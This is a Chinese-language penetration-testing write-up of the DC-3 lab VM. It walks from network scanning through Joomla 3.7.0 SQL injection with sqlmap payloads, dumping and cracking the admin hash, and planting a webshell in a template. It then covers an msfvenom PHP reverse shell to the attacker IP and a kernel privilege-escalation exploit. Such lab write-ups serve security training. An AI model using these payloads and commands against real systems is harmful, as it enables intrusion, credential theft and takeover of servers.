环境

  • VMware Workstation 15
  • 靶机 DC-3
  • 攻击机 Parrot
  • 网段 192.168.136.0/24

扫描局域网

这次我不使用nmap了,尝试使用arp-scan探测局域网的主机

首先看攻击机的网卡

ifconfig
....
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.136.133  netmask 255.255.255.0  broadcast 192.168.136.255
        inet6 fe80::6aa7:d472:2bf4:4676  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:9c:5e:99  txqueuelen 1000  (Ethernet)
        RX packets 106  bytes 16726 (16.3 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 571  bytes 39664 (38.7 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
....

因为靶机与攻击机都是使用NAT模式,所以选择eth0网卡

探测主机

sudo arp-scan --interface=eth0 --localnet

Interface: eth0, type: EN10MB, MAC: 00:0c:29:9c:5e:99, IPv4: 192.168.136.133
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.136.1    00:50:56:c0:00:08    VMware, Inc.
192.168.136.2    00:50:56:f3:f6:42    VMware, Inc.
192.168.136.137    00:0c:29:10:cc:af    VMware, Inc.
192.168.136.254    00:50:56:e0:39:45    VMware, Inc.

5 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.990 seconds (128.64 hosts/sec). 4 responded

探测到了很多主机,DC-3主机的IP应该是192.168.136.137

扫描端口

拿到靶机IP之后,接着用nmap扫一下端口,看看有什么服务开着

sudo nmap -sS -Pn -A -p- 192.168.136.137

收集到以下信息

  1. 开着80端口,运行着Web服务
  2. 中间件Apache,版本为2.4.18
  3. Ubuntu系统

访问Web服务

浏览器打开

点开Wappalyzer发现以下信息

  • JoomlaCMS
  • 脚本语言PHP
  • 中间件Apache 2.4.18
  • 服务器Ubuntu

namp扫出来的一致

接下康康主页内容,有一段简介,翻译看看

欢迎来到DC-3。
这次只有一个标志,一个入口点,没有任何线索。

要获得该标志,您显然必须获得root特权。

如何生根取决于您-而且显然取决于系统。

祝您好运-我希望您喜欢这个小挑战。 :-)

主页还有一个登录框,就没有其他页面了

扫目录

扫目录,我这里就是用dirsearch

python3 dirsearch.py -u 192.168.136.137 -e php

筛选了一下

http://192.168.136.137/administrator    # 登录页面
http://192.168.136.137/htaccess            # htaccess文件内容
http://192.168.136.137/web.config.txt    # web配置文件,应该是URL重写的配置
http://192.168.136.137/LICENSE.txt        
http://192.168.136.137/README.txt

浏览了一下找出来的页面,进一步收集到了Jommla版本

  • Jommla 3.7.0

CMS漏洞

没有任何线索,只能能找找该版本CMS有没有爆出什么漏洞了,有几种方式

  1. Google
  2. Baidu
  3. exploit-db
  4. searchsploit
  5. ....

随便一个都行,这次就来试试searchsploit,第一次接触使用,非常:cow:,没有安装的先安装一波,非常推荐

searchsploit joomla 3.7.0

很幸运,找到一个SQL注入漏洞,查看一下漏洞信息和利用方法

# Exploit Title: Joomla 3.7.0 - Sql Injection
# Date: 05-19-2017
# Exploit Author: Mateus Lino
# Reference: https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
# Vendor Homepage: https://www.joomla.org/
# Version: = 3.7.0
# Tested on: Win, Kali Linux x64, Ubuntu, Manjaro and Arch Linux
# CVE : - CVE-2017-8917


URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27


Using Sqlmap: 

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]


Parameter: list[fullordering] (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (DUAL)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (1573=1573) THEN 1573 ELSE 1573*(SELECT 1573 FROM DUAL UNION SELECT 9674 FROM DUAL) END)

    Type: error-based
    Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT * FROM (SELECT(SLEEP(5)))GDiu)

SQL注入

有Payload了,直接用SQLMap跑了,这个注入点是list[fullordering]这个参数,所以直接使用-p指定这个参数注入了

sqlmap -u "http://192.168.136.137/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] 

参数

  • --risk 风险等级,共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。
  • --level 探测等级,共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload。这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。
  • -p 指定参数
  • --random-agent 字面意思,随机Agent
  • --dbs 查询数据库

然后根据常规操作,爆出数据库和表,就可以了

爆库

sqlmap -u "http://192.168.136.137/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] 

爆表

选择joomladb数据库,毫无疑问是CMS的数据库了,看看有什么表

sqlmap -u "http://192.168.136.137/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb --tables --hex

但是中间出了一个小插曲,就是爆出的表名不完整,可能因为表名太长了,可以在sqlmap加上--hex参数,把数据编码为hex就可以显示完整了

这里表太多了,就只截了一部分

爆数据

选择几个可能有利用价值的表爆数据,例如d8uea_users,因为是报错型注入,应该不会耗费太多时间,就不爆字段了

sqlmap -u "http://192.168.136.137/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb -T d8uea_users --dump --hex

爆出了用户名admin和密码哈希值,反手拿到somd5.com,发现解不了,就先放放了

然后再选择几个表看看有什么,最后发现都貌似没什么用

然后尝试写入WebShell,看看当前是什么用户,看看是不是dba(Database Administrator)

sqlmap -u "http://192.168.136.137/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --is-dba

结果返回True

使用--os-shell,写入shell

sqlmap -u "http://192.168.136.137/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --os-shell

在想用sqlmap写入shell之前,一直弄不到网站的物理路径,只能使用爆破的方法看看能不能行,可是都最后都是不行

尝试Session登录

于是在网上搜索JommlaSQL注入漏洞的利用方法,找到了一篇利用SQL注入,爆出管理员Session,修改Cookie值,从而免密码登录后台,但是条件是管理员的Session没有过期,先不管了,爆出来看看再说

sqlmap -u "http://192.168.136.137/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb -T d8uea_session --dump --hex

发现都不是管理员的Session,基本都是游客的,于是陷入困境

突然想起users表爆出的用户名和密码hash,想想能不能通过把数据库中password字段修改自己指定的hash值,搜索了很多关于Joomal密码加密的文章,最后都以失败告终

到这我就没有任何办法了,看了一下大佬们到这一步怎么做的,噢,原来这hash可以破解的,***,看了几篇,大致有两个方法,都很:cow:,很值得记录

Hash破解

Johnny

Johnny是基于流行密码破解工具John the Ripper开发的跨平台开源GUI,有命令行的,名为john

把密码hash保存为一个文件,打开johnny,直接命令行输入即可

johnny

打开保存hash值文件,选择start即可,很快就爆破出来了

Hashcat

hashcat号称世界上最快的密码破解,世界上第一个和唯一的基于GPGPU规则引擎,免费多GPU(高达128个GPU),多哈希,多操作系统(Linux和Windows本地二进制文件),多平台(OpenCL和CUDA支持),多算法,资源利用率低,基于字典攻击,支持分布式破解等等,下载地址https://hashcat.net,hashcat目前支持各类公开算法高达247类,市面上面公开的密码加密算法基本都支持!

文章参考FreeBuf

hashID

hashID是用Python3写成,它通过正则表达式可识别220多种hash类型。可识别的hash详情列表可以点这里

hashID不仅可识别单个hash,还可解析单个文件中的hash,或者某目录下的多个文件中的hash。同时hashID还支持hashcat模式和JohnTheRipper格式输出。

尝试一下识别爆出来的hash值

hashid hash.txt

很快就识别出来了,接下来就使用Hashcat字典攻击,更多用法参考FreeBuf的文章,很详细

想要字典攻击,首先要有个字典,刚刚那篇介绍Hashcat文章中有推荐了两个字典网站,看writeup大佬使用安全系统中自带的字典rockyou.txtKaliParrot都有,位于/usr/share/wordlist/,这个字典默认没有解压,先解压出来

sudo gunzip -d rockyou.txt.gz

再根据hashID识别出来的Hash类型使用Hashcat进行字典攻击

hashID识别的hash类型为Blowfish(OpenBSD)

通过hashcat -h 过滤一下

hashcat -h | grep "Blowfish"

hashcat -m 3200 -a 0 -d 1 --force hash.txt /usr/share/wordlist/rockyou.txt

参数

  • -m, —hash-type=NUM 哈希类别,其NUM值参考其帮助信息下面的哈希类别值,其值为数字。
  • -a, –attack-mode=NUM 攻击模式,其值参考后面对参数。“-a 0”字典攻击,“-a 1” 组合攻击;“-a 3”掩码攻击。
  • --force 强制
  • -d 选择OpenCl 使用什么驱动破解,CPU、GPU,如果多个使用逗号隔开

同样很快破解出来了,不过实战中还得看你的字典质量和运气

最终得出密码snoopy

登录后台

知道了用户名和密码后,登录后台,看看有什么可以利用的地方GetShell

Joomla支持后台修改模板,可以利用这里getShell

在这里选择模板,我看第二个比较像主页,就选了第二个

有两种方法,一种就是模板中index.php写入,一句话木马;还有一种利用weevely生成木马文件并连接,但实际过程中,我在使用第二种方法的时候,即使上传成功也不能连接成功

最后唯有把代码写入index.php文件中,我把一句话和weevely生成的代码都写进入

GetShell

weevely

使用weevely连接

AntSword

使用蚁剑连接

提权

DC-3靶机的描述中写道要有root权限才能看到最后的flag,所以我们需要提权

系统信息

想要提权首先要知道系统版本、使用内核各种信息

查看电脑以及操作系统相关信息

uname -a

查看内核版本

cat /proc/version

查看Linux系统版本

  1. 列出所有版本信息

    lsb_release -a

该命令适用于所有的Linux发行版,包括RedHat、SUSE、Debian等等发行版,在Debian下要安装lsb

  1. 只适合RedHat系的Linux

    cat /etc/redhat-release
  2. 适用于所有的Linux发行版

显示发行版本信息

cat /etc/issue

经过查询得出系统版本信息

  • Linux 4.4.0-21 内核
  • Ubuntu 16.04 LTS

检索EXP

根据这两个信息利用searchsploit查找一下有没有提权exp

searchsploit linux 4.4 ubuntu 16.04 priv

图上的我基本都试过了,只有一个可以

Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Escalation                                                                            | exploits/linux/local/39772.txt

其他那些Exp可能是因为我使用方法有问题导致不行

EXP下载下来,解压,用蚁剑把exploit文件夹里面的文件上传到靶机

编译EXP

需要执行compile.sh来编译exp,一开始compile.sh是没有执行权限的,需要添加执行权限

chmod +x compile.sh

然后在执行,这里会出现Warning,影响不大,忽略就好

最后直接执行./doubleput,在蚁剑执行的时候发现无效,难道不是交互式Shell??或者还是什么?

经过检索发现有Python3,尝试使用Python3 生成一个交互式shell

python3 -c '__improt__("pty").spawn("/bin/bash")'

但是在蚁剑模拟终端上依然不行

使用weevely试试,也不行,依然接收不到root的shell

最后我使用了msfvenom生成了一个PHP木马,上传到靶机根目录

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.136.133 LPORT=4444 -f raw -o shell.php

msf设置payload接收shell

use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set LHOST 192.168.136.133 # 攻击机IP
run

此时在浏览器打开shell.php即可接收到meterpreter的shell

meterpreter键入shell,进入Linux 终端,并不是交互式shell,使用Python反弹交互式shell

python3 -c '__import__("pty").spawn("/bin/bash")'

进入exp目录,执行./doubleput提权

成功提权

/root目录下找到flag

完结!

标签: 渗透测试靶机

添加新评论